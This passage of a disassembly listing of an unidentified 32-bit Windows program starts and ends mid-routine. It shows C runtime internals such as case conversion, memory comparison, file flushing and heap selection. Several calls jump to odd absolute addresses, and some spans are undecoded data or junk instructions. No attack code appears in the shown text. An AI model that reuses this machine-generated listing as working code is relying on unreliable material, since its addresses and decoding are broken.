		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170ED+BFp
					; sub_4170ED+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBA14
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADE+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418069+6p
					; sub_418087+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBA14, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43CBE4, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C9D8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A5+ADp
					; sub_419594+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A5+7Fp
					; sub_4185A5+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DBA14, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		call	near ptr 26A08EAh
		nop
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C9D8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DBA14, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBA24
		call	near ptr 2830000h
		nop
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		mov	ah, ch
		lodsb
		cmp	ebx, [ecx]
		aam	9Fh
		sub	ecx, ebx
		push	ecx
		push	edx
		retf	470Eh
; ---------------------------------------------------------------------------
		db 0B7h, 64h, 0A1h
		align 8
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 4007E8E8h, 33900247h, 89D48AD2h
		dd 4DB97015h, 81C88B00h, 0FFE1h, 6C0D8900h, 0C1004DB9h
		dd 0CA0308E1h, 0B9680D89h, 0E8C1004Dh, 0B964A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 473FA0E8h, 0CFECA302h,	19E8004Dh
		dd 0A3000058h, 4DB9C8h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2472628h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 5E89056h,	50022926h, 0FE3820E8h, 0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB9D0, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A9A0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB9D0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 0E8000000h
		dd 77A58245h
		db 90h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DCDA0
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 2680920h
		nop
		test	eax, eax
		jnz	short loc_41DAEB
		call	near ptr 26A08EAh
		nop
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DCC80, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DBC78
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DCC80
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	near ptr 26B0000h
		nop
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		call	near ptr 2690000h
		nop
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx


loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 492217E8h
		dd 0A3C08502h, 4DCFE4h,	93E83674h, 83FFFFFEh, 0E8A303F8h
		dd 75004DCFh, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0CFE435FFh, 0AFE8004Dh
		dd 9002482Fh, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DCFE4h
		dd 21BEE890h, 0C085023Ah, 4DCFDCA3h, 0C3017500h, 4244C8Bh
		dd 0CFD42583h, 8300004Dh, 4DCFD825h, 16A0000h, 4DCFD0A3h
		dd 0E00D8900h, 0C7004DCFh, 4DCFC805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFD8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DCFDC
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


